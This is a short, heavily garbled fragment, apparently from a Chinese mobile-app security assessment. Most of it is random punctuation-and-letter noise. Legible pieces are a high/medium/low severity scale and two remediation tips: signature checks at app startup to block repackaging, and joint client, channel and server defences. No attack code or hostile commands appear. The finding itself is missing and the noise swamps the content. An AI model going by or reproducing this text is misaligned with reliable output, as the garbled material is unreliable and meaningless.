7 t7 p- u6 ]9 d8 H" t0 }/ y: F6 D 3 L% |) h% k% ^6 L0 M 严重程度 T, `/ {3 A( W' E ; ~: ?' w0 H- F: r& e3 z	$ V9 I5 j5 Y, ?0 Q5 K7 f+ {# z 高 - z) |6 \9 f/ ~2 |1 \ % \" A1 {) P; y; p( s" R * e1 U+ ?: y* N; `% E1 n$ B	■ , Q- c: b# @. Y: O5 x! k : d0 l" k( J1 W% o7 ]& n7 ~, } ! Y8 o3 T1 O( I ?, z2 I# o	: }# @9 W* u5 Z3 N( I % [+ y: u9 g3 ?4 ^ $ e0 j: z7 T) }+ e+ W( r 中 % }" x* g% o2 r / D$ E; a; j* n7 i4 d: t: L	! |4 n% F8 j7 u' I$ X( v" ?% ] + p2 d. B. X' f% w8 r7 D . Z1 ?) N3 B0 v 8 I+ K Z! L. @$ Z) X) \   ! p0 ?) l) M7 [1 a; A% E5 f 5 s+ D( [2 o: x) \ * W# G" t4 W, U# @( W7 b	5 P0 q7 ]1 w' f" ?1 |4 Q& g* X # c* c; z/ k J$ c0 y1 r 低 * d+ I5 b3 K' P) c: x m1 H , ~( H' V, @1 G4 g& ]: `$ } ) { n6 I& p% [; N. {. k6 v	7 M1 a2 w! j; B8 ~8 {( M ) n2 C+ u' M' O6 S ) I- e% Q4 N/ G* N( Z   5 e. N' P! b1 |, N% J# ]& R; @3 m 1 I4 i5 y) @9 Z, A9 I" O

1 u0 }: j( V) k( Q- ? ' t6 P: |0 o S5 g! M) L   1 p z- N. ^# a % x* c3 c' T6 f# L

7 ^/ t. J1 E6 I7 {* `% Z

修复方法：

# P; v& n4 j6 C               1.在 APP 启动时应做签名校验防止二次打包。
: l8 v$ m3 ?, {5 v3 U* D 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

4 [7 F7 ~5 o1 `/ ? 9 f0 _+ Y. ^( ~, V J' b

9 L& t, P1 K$ ^1 @4 w) l  

5 h7 V" Q0 [, E2 @ 7 | g6 K% a% e# r2 @/ ^

+ q0 U; V" D5 v1 @ z6 T0 w6 U' F1 Z o9 B# P# P* u4 H1 P( c C1 S" ?
4 ^4 ~( x. u7 B9 Z( Q& h

$ s4 B. P& Y) }( N+ t2 a$ Y$ H# f